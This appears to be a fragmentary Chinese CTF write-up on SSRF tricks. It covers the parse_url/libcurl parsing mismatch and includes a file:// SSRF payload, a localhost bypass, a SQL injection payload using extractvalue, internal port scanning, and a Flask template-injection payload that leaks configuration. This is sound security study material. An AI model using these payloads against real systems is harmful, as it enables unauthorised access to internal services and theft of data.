怎么过去呢
1 | if(isset($_POST['url']) && parse_url($_POST['url'])['host']=='www.baidu.com') |
这里主要还是利用parse_url
这个函数
其实这里利用的是一个parse_url
和libcurl
之间的差异
匹配规则:
1 | php parse_url: |
比如这个URLhttp://u:p@a.com:80@b.com/
parse_url
解析结果1
2
3
4schema: http
host: b.com
user: u
pass: p@a.com:80
libcurl解析结果:
1 | schema: http |
这样我么就可以构造payload:
url=file://@127.0.0.1:80@www.baidu.com/./..//var/www/html/flag.php
parse_url
解析出www.baidu.com
绕过if
然后curl
解析file协议
ssrf绕过记录
Some trick in ssrf and unserialize()/#trick2-libcurl-and-parse-url)
parse_url函数的问题
1 |
|
在Add_S
函数中把一些关键字都给过滤了,同时还有一部分关键字是在Measurement_url
函数中过滤的,但是这个函数中有一个parse_url
函数
http://127.0.0.1///info/parseurl.php?sql=select
这种形式的URL经过parse_url
后会返回false。。
于是可以绕过的payload如下
http://118.126.113.78///web1/?id=1' ^ 1=extractvalue(1,concat(0x3a,(select password from sql_inject1 limit 3,1),0x3a))--+
具体parse_url
漏洞的分析可以参考一叶飘零师傅的文章
然而我在本地测试的时候:
并没有成功,php的版本:
这就很奇怪了
1 |
|
一道入群题
1 |
|
很明显这是一道ssrf的题目,白名单,只能用如下协议http|https|gopher|dict
两个payload均可
1 | payload1: ?url=http://127.0.0.1./flag.php |
然后开始爆破内网的ip和端口
居然不记得怎么用Burp同时爆破两个字段了,查了一下 https://bbs.ichunqiu.com/thread-17395-1-1.html
可以得到172.11.243.81:8080和172.11.243.218:3306,分别为一个flask服务和mysql服务。
通过http访问内网的flask
得到源码
1 | import flask |
模板注入得到HINT
payload
1 | #payload:{{url_for.__globals__[%27current_app%27].config[%27HINT%27]}} |
string(29) “mysql_user_is_yuligeeee123321”